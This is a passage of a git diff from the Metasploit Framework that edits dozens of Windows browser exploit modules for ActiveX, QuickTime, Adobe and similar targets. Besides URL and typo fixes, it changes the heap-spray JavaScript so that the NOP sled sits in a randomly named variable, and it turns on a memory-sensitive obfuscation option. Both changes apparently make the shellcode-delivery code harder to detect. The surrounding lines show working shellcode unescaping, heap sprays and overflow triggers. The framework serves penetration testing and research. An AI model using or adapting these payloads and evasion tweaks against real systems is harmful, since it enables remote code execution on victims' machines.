     #{rand8} = 20;
     #{rand9} = #{rand8}+#{rand6}.length
     while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
@@ -229,5 +231,4 @@ class MetasploitModule < Msf::Exploit::Remote
     pdf << xrefPosition.to_s() << eol
     pdf << "%%EOF" << eol
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_media_newplayer.rb b/modules/exploits/windows/browser/adobe_media_newplayer.rb
index 3a050e890b..7d1bd363d2 100644
--- a/modules/exploits/windows/browser/adobe_media_newplayer.rb
+++ b/modules/exploits/windows/browser/adobe_media_newplayer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -106,6 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote
     rand3  = rand_text_alpha(rand(100) + 1)
     rand4  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
     rand5  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
+    randnop = rand_text_alpha(rand(100) + 1)
 
     vtbuf = [target.ret].pack('V') * 4
     vtbuf << rand_text_alpha(len - vtbuf.length)
@@ -114,8 +115,9 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # The printd strings are 72 bytes (??)
     script = %Q|
+var #{randnop} = "#{nops}";
 var #{rand1} = unescape("#{shellcode}");
-var #{rand2} = unescape("#{nops}");
+var #{rand2} = unescape(#{randnop});
 var #{rand3} = unescape("#{retstring}");
 while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
 #{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
@@ -215,5 +217,4 @@ util.printd(#{rand3}, new Date());
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb
index e3dc3f4dc2..47ec74f0bd 100644
--- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb
+++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -125,5 +125,4 @@ EOS
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/adobe_toolbutton.rb b/modules/exploits/windows/browser/adobe_toolbutton.rb
index df791f205b..7835d1f7bf 100644
--- a/modules/exploits/windows/browser/adobe_toolbutton.rb
+++ b/modules/exploits/windows/browser/adobe_toolbutton.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -319,7 +319,6 @@ if (vulnerable) {
     pdf << "%%EOF" << eol
     pdf
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/adobe_utilprintf.rb b/modules/exploits/windows/browser/adobe_utilprintf.rb
index bd94a3f49a..8838e8d9b9 100644
--- a/modules/exploits/windows/browser/adobe_utilprintf.rb
+++ b/modules/exploits/windows/browser/adobe_utilprintf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,13 +72,15 @@ class MetasploitModule < Msf::Exploit::Remote
     rand9  = rand_text_alpha(rand(100) + 1)
     rand10 = rand_text_alpha(rand(100) + 1)
     rand11 = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     script = %Q|
     var #{rand1} = unescape("#{shellcode}");
+    var #{randnop} = "#{nops}";
     var #{rand2} ="";
-    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
+    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape(#{randnop});
     #{rand4} = #{rand2} + #{rand1};
-    #{rand5} = unescape("#{nops}");
+    #{rand5} = unescape("#{randnop}");
     #{rand6} = 20;
     #{rand7} = #{rand6}+#{rand4}.length
     while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
@@ -179,5 +181,4 @@ class MetasploitModule < Msf::Exploit::Remote
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb
index fe585b47ed..ef78cb6d60 100644
--- a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb
+++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -161,5 +161,4 @@ test.GetColor("#{rop_payload(get_payload(cli, target_info))}", 0);
 
     xpl
   end
-
 end
diff --git a/modules/exploits/windows/browser/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb
index 2a6b076d8e..964f71b6e0 100644
--- a/modules/exploits/windows/browser/aim_goaway.rb
+++ b/modules/exploits/windows/browser/aim_goaway.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a flaw in the handling of AOL Instant
         Messenger's 'goaway' URI handler.  An attacker can execute
-        arbitrary code by supplying a overly sized buffer as the
+        arbitrary code by supplying an overly sized buffer as the
         'message' parameter.  This issue is known to affect AOL Instant
         Messenger 5.5.
       },
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb
index a1d998cee0..ebaa38daf0 100644
--- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb
+++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -115,13 +115,15 @@ class MetasploitModule < Msf::Exploit::Remote
   def ie_heap_spray(p)
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
 
     js = %Q|
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{get_target['Offset']});
     var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -137,7 +139,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -173,7 +175,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_exploit_html(cli, exploit_template(cli, target_info))
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/amaya_bdo.rb b/modules/exploits/windows/browser/amaya_bdo.rb
index 951429efeb..52ab16a147 100644
--- a/modules/exploits/windows/browser/amaya_bdo.rb
+++ b/modules/exploits/windows/browser/amaya_bdo.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/aol_ampx_convertfile.rb b/modules/exploits/windows/browser/aol_ampx_convertfile.rb
index 58e7979f88..1a76b86962 100644
--- a/modules/exploits/windows/browser/aol_ampx_convertfile.rb
+++ b/modules/exploits/windows/browser/aol_ampx_convertfile.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,6 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote
     j_ret        = rand_text_alpha(rand(100) + 1)
     j_eax        = rand_text_alpha(rand(100) + 1)
     j_bof        = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Build out the message
     content = %Q|
@@ -90,7 +91,8 @@ class MetasploitModule < Msf::Exploit::Remote
 <OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>
 <script language='javascript'>
   #{j_shellcode}=unescape('#{shellcode}');
-  #{j_nops}=unescape('#{nops}');
+  var #{randnop} = "#{nops}";
+  #{j_nops}=unescape(#{randnop});
   #{j_headersize}=20;
   #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
   while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
@@ -120,5 +122,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/aol_icq_downloadagent.rb b/modules/exploits/windows/browser/aol_icq_downloadagent.rb
index bb81f0a51b..e1c54371c9 100644
--- a/modules/exploits/windows/browser/aol_icq_downloadagent.rb
+++ b/modules/exploits/windows/browser/aol_icq_downloadagent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/apple_itunes_playlist.rb b/modules/exploits/windows/browser/apple_itunes_playlist.rb
index b7b850efc3..c2d275eec6 100644
--- a/modules/exploits/windows/browser/apple_itunes_playlist.rb
+++ b/modules/exploits/windows/browser/apple_itunes_playlist.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,5 +69,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
index 0e9dfecc13..11bda83b2a 100644
--- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -229,7 +229,6 @@ EOF
     # Handle the payload
     handler(client)
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb
index 3a0d34711e..f2fee6ac14 100644
--- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -182,7 +182,7 @@ heapSpray(myoffset,myshellcode,myfillsled);
 
       if datastore['OBFUSCATE']
         js = ::Rex::Exploitation::JSObfu.new(js)
-        js.obfuscate
+        js.obfuscate(memory_sensitive: true)
       end
 
       content =  "<html>"
@@ -222,5 +222,4 @@ CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
     # Handle the payload
     handler(client)
   end
-
 end
diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb
index cd8eab42ce..ef4e94c3e9 100644
--- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb
index e507f3206c..938e97158e 100644
--- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
index dd84534b9f..7a4c597604 100644
--- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -153,5 +153,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(client)
   end
-
 end
diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
index 34c0fda847..b41131a018 100644
--- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -189,13 +189,15 @@ class MetasploitModule < Msf::Exploit::Remote
       arch = Rex::Arch.endian(my_target.arch)
       nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
       code = Rex::Text.to_unescape(payload.encoded, arch)
+      randnop = rand_text_alpha(rand(100) + 1)
 
       # Spray puts payload on 0x31313131
       if my_target.name =~ /IE/
         spray = <<-JS
 var heap_obj = new heapLib.ie(0x20000);
 var code = unescape("#{code}");
-var nops = unescape("#{nops}");
+var #{randnop} = "#{nops}";
+var nops = unescape(#{randnop});
 
 while (nops.length < 0x80000) nops += nops;
 var offset = nops.substring(0, 0x800 - code.length);
@@ -216,12 +218,13 @@ for (var i=0; i < 1600; i++) {
         #obfuscate on demand
         if datastore['OBFUSCATE']
           js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
-          js_spray.obfuscate
+          js_spray.obfuscate(memory_sensitive: true)
         end
       else
         js_spray = <<-JS
 var shellcode = unescape("#{code}");
-var bigblock = unescape("#{nops}");
+var #{randnop} = "#{nops}";
+var bigblock = unescape(#{randnop});
 var headersize = 20;
 var slackspace = headersize + shellcode.length;
 while (bigblock.length < slackspace) bigblock += bigblock;
@@ -274,7 +277,6 @@ CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
       send_response(client, content, { 'Content-Type' => "text/html" })
     end
   end
-
 end
 
 
diff --git a/modules/exploits/windows/browser/ask_shortformat.rb b/modules/exploits/windows/browser/ask_shortformat.rb
index 17b9c07f1e..0e4713a70a 100644
--- a/modules/exploits/windows/browser/ask_shortformat.rb
+++ b/modules/exploits/windows/browser/ask_shortformat.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -15,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53.
-        An attacker may be able to excute arbitrary code by sending an overly
+        An attacker may be able to execute arbitrary code by sending an overly
         long string to the "ShortFormat()" method in askbar.dll.
       },
       'License'        => MSF_LICENSE,
@@ -84,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb
index eb41aa1cfc..b170b524a0 100644
--- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb
+++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,11 +81,13 @@ class MetasploitModule < Msf::Exploit::Remote
     p = payload.encoded
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     nops = Rex::Text.to_unescape(make_nops(4))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{nops}");
+    var #{randnop} = "#{nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['Offset']});
@@ -132,7 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote
     #obfuscate on demand
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     html = <<-EOS
@@ -153,7 +155,6 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/athocgov_completeinstallation.rb b/modules/exploits/windows/browser/athocgov_completeinstallation.rb
index 7932524c02..7603788326 100644
--- a/modules/exploits/windows/browser/athocgov_completeinstallation.rb
+++ b/modules/exploits/windows/browser/athocgov_completeinstallation.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
     js.update_opts(js_heap_spray.opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
     content = %Q|
       <html>
       <body>
diff --git a/modules/exploits/windows/browser/autodesk_idrop.rb b/modules/exploits/windows/browser/autodesk_idrop.rb
index d344b8bc5c..fabe8fc17f 100644
--- a/modules/exploits/windows/browser/autodesk_idrop.rb
+++ b/modules/exploits/windows/browser/autodesk_idrop.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -131,5 +131,4 @@ function #{j_function}() {
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb
index 1aac09ba02..1593bc4cb0 100644
--- a/modules/exploits/windows/browser/aventail_epi_activex.rb
+++ b/modules/exploits/windows/browser/aventail_epi_activex.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -152,5 +152,4 @@ for (#{j_counter} = 0; #{j_counter} < 22; #{j_counter}++)
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb
index 905c51a19f..532015e085 100644
--- a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb
+++ b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb
index 5d538172ef..066af566d6 100644
--- a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb
+++ b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb
index 4e3d798277..9e9ddd4206 100644
--- a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb
+++ b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow',
       'Description'    => %q{
           This module exploits a buffer overflow in BaoFeng's Storm media Player ActiveX
-        control. Verions of mps.dll including 3.9.4.27 and lower are affected. When passing
+        control. Versions of mps.dll including 3.9.4.27 and lower are affected. When passing
         an overly long string to the method "OnBeforeVideoDownload" an attacker can execute
         arbitrary code.
       },
@@ -98,7 +98,7 @@ vulnerable.OnBeforeVideoDownload(evil_string);
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
     js.update_opts(js_heap_spray.opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
 
     # Generate the final HTML
     content = %Q|<html>
@@ -118,5 +118,4 @@ vulnerable.OnBeforeVideoDownload(evil_string);
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/barcode_ax49.rb b/modules/exploits/windows/browser/barcode_ax49.rb
index 1d3aae11d8..723d824519 100644
--- a/modules/exploits/windows/browser/barcode_ax49.rb
+++ b/modules/exploits/windows/browser/barcode_ax49.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
index f3e2131511..f0d07ab35c 100644
--- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
+++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,7 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module allows remote attackers to place arbitrary files on a users file system
         by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX
-        Control (BIImgFrm.ocx 12.0.0.0).  Code exeuction can be acheived by first uploading the
+        Control (BIImgFrm.ocx 12.0.0.0).  Code execution can be achieved by first uploading the
         payload to the remote machine, and then upload another mof file, which enables Windows
         Management Instrumentation service to execute the binary. Please note that this module
         currently only works for Windows before Vista.  Also, a similar issue is reported in
@@ -138,5 +138,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @payload = generate_payload_exe
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
index 3a61b7fe6a..2cd7f4c6e6 100644
--- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
+++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -113,5 +113,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @payload_rand = rand_text_alpha(rand(5) + 5 )
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb
index 79eba846db..1fcd7a1a45 100644
--- a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb
+++ b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -107,5 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb
index 5fd0ccfe8d..c0b601ffe3 100644
--- a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb
+++ b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -116,7 +116,7 @@ window.location = "#{hcp_url}";
       }
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
 =end
     js = encrypt_js(js, @javascript_encode_key)
 
@@ -140,5 +140,4 @@ Please wait...
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb
index 500bc0b541..3f02a0c42a 100644
--- a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb
+++ b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote
     x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
     x.url = "#{url}/#{dir}/";
 |
-    js.obfuscate
+    js.obfuscate(memory_sensitive: true)
     html = "<html>\n\t<script>#{js}\t</script>\n</html>"
     print_status("Sending #{self.name}")
     send_response_html(cli, html)
diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb
index 6d37fe83f2..5444a964bd 100644
--- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb
+++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -102,11 +102,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_spray(t, js_code, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
 
@@ -222,7 +224,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
       if datastore['OBFUSCATE']
         js = ::Rex::Exploitation::JSObfu.new(js)
-        js.obfuscate
+        js.obfuscate(memory_sensitive: true)
       end
     end
 
diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb
index 3717089771..b431936497 100644
--- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb
+++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -147,11 +147,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_easy_spray(t, js_code, js_nops)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
